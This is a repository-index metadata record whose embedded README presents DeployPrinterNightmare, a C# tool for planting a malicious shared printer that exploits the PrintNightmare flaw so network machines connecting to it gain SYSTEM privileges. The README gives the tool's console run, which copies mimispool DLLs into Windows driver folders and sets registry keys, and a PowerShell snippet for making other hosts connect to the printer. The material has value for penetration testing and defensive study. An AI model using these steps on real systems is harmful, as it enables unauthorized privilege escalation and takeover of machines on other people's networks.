{"id":13840978,"url":"https://github.com/Flangvik/DeployPrinterNightmare","last_synced_at":"2025-07-11T09:34:20.153Z","repository":{"id":108689987,"uuid":"392338950","full_name":"Flangvik/DeployPrinterNightmare","owner":"Flangvik","description":"C# tool for installing a shared network printer abusing the PrinterNightmare bug to allow other network machines easy privesc!","archived":false,"fork":false,"pushed_at":"2021-08-04T12:36:03.000Z","size":12,"stargazers_count":182,"open_issues_count":0,"forks_count":30,"subscribers_count":6,"default_branch":"main","last_synced_at":"2024-11-15T15:13:29.101Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Flangvik.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2021-08-03T14:07:15.000Z","updated_at":"2024-10-24T16:53:00.000Z","dependencies_parsed_at":"2023-03-25T14:17:44.846Z","dependency_job_id":null,"html_url":"https://github.com/Flangvik/DeployPrinterNightmare","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Flangvik%2FDeployPrinterNightmare","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Flangvik%2FDeployPrinterNightmare/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Flangvik%2FDeployPrinterNightmare/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Flangvik%2FDeployPrinterNightmare/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Flangvik","download_url":"https://codeload.github.com/Flangvik/DeployPrinterNightmare/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225712917,"owners_count":17512517,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:01:00.748Z","updated_at":"2024-11-21T10:31:05.942Z","avatar_url":"https://github.com/Flangvik.png","language":"C#","funding_links":[],"categories":["C# #"],"sub_categories":[],"readme":"# DeployPrinterNightmare\nC# tool for installing a shared network printer abusing the PrinterNightmare bug to allow other network machines easy privesc!\n\nDiscovered and demonstraited by the one and only [Benjamin Delpy](https://twitter.com/gentilkiwi)\n\n```\nC:\\Users\\Flangvik\\Desktop\u003eFakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell\n[\u003c3] @Flangvik - TrustedSec\n[+] Copying C:\\Windows\\system32\\mscms.dll to C:\\Windows\\system32\\6cfbaf26f4c64131896df8a522546e9c.dll\n[+] Copying 64mimispool.dll to C:\\Windows\\system32\\spool\\drivers\\x64\\3\\6cfbaf26f4c64131896df8a522546e9c.dll\n[+] Copying 32mimispool.dll to C:\\Windows\\system32\\spool\\drivers\\W32X86\\3\\6cfbaf26f4c64131896df8a522546e9c.dll\n[+] Adding printer driver =\u003e Generic / Text Only!\n[+] Adding printer =\u003e EasySystemShell!\n[+] Setting 64-bit Registry key\n[+] Setting 32-bit Registry key\n[+] Setting '*' Registry key\n```\nYou can then reach the EasySystemShell printer from the same network by hitting the computer it was installed on using explorer (Go to \\\\\\\\printer-installed-host\\ in explorer, click the printer and install) or using PowerShell\n\n```\n$serverName  = 'printer-installed-host'\n$printerName = 'EasySystemShell'\n \n$fullprinterName = '\\\\' + $serverName + '\\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})\n \nRemove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue\nAdd-Printer -ConnectionName $fullprinterName\n```\n\n# Credits and ressources\n\n*  @shreedee =\u003e https://github.com/shreedee/EVOPrinter/blob/master/printerDriver/SpoolerHelper.cs\n*  [Benjamin Delpy](https://twitter.com/gentilkiwi) =\u003e https://twitter.com/gentilkiwi/status/1420896231648288772\n* https://pentestlab.blog/2021/08/02/universal-privilege-escalation-and-persistence-printer/\n* https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex\n* https://github.com/freefirex\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FFlangvik%2FDeployPrinterNightmare","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FFlangvik%2FDeployPrinterNightmare","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FFlangvik%2FDeployPrinterNightmare/lists"}